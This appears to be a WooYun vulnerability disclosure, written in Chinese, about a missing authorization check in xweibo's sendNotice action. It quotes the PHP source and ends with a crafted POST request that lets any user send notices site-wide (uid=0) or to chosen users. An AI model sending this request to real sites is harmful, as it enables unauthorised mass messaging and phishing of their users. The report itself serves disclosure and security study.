WooYun.org

首先xweibo搞了个路由函数，对用户提交的变量做同一的分配控制
	function V($vRoute,$def_v=NULL,$setVar=false){
		static $v;
		if (empty($v)){$v = array();}
		$vRoute = trim($vRoute);
		//强制初始化值
		if ($setVar) {$v[$vRoute] = $def_v;return true;}
		if (!isset($v[$vRoute])){
			$vKey = array('C'=>$_COOKIE,'G'=>$_GET,		'P'=>$_POST,'R'=>$_REQUEST,
						  'F'=>$_FILES,	'S'=>$_SERVER,	'E'=>$_ENV,
						  '-'=>$GLOBALS[V_CFG_GLOBAL_NAME]
			);
			if (empty($vKey['R'])) {
				$vKey['R'] = array_merge($_COOKIE, $_GET, $_POST);
			}
			if ( !preg_match("#^([cgprfse-])(?::(.+))?\$#sim",$vRoute,$m) || !isset($vKey[strtoupper($m[1])]) ){
				trigger_error("Can't parse var from vRoute: $vRoute ", E_USER_ERROR);
				return NULL;
			}
省略
用户操作功能都封装在了action模块中，action.mod.php，找到sendNotice这个action
		function sendNotice() {
			$nowTime = APP_LOCAL_TIMESTAMP;
			$sina_uid = V('p:uid', 0);
			$title = trim(V('p:title', ''));
			$content = trim(V('p:content', ''));
			$available_time = (int)V('p:available_time', $nowTime);
			省略			
			$rst = DR('notice.sendNotice', '', $title, $content, $sina_uid, null, 0, $available_time);
			if (!empty($rst['errno'])) {
				APP::ajaxRst(false, $rst['errno'], $rst['err']);
				exit;
			} else {
				APP::ajaxRst(true, 0);
				exit;
			}
		}
没啥限制额，在看看notice中的功能定义
		$send_all = $sina_uid === 0 ? true : false; //是否发送给全站用户
		
		if (is_null($sina_uid)) {
			$sina_uid = array();
		} else if (!is_array($sina_uid)) {
			$sina_uid = (array)$sina_uid;
		}
... ...
		$data = array();
		$data['sender_id'] = $sender_id;
		$data['title'] = $title;
		$data['content'] = $content;
		$data['add_time'] = APP_LOCAL_TIMESTAMP;
		$data['available_time'] = empty($available_time) ? APP_LOCAL_TIMESTAMP : $available_time;
		
		$notice_id = $this->db->save($data, 0, T_NOTICE);
		if ($notice_id === false) {
			return RST(false, 1210004, '发送失败，请重试');
		}
直接构造利用这个action
POST /?m=api/weibo/action.sendNotice&_=1331620238391 HTTP/1.1
.. ..
uid=[改为0为群发，其他用户uid为单独发送]&title=[标题]&content=[内容]&available_time=123123123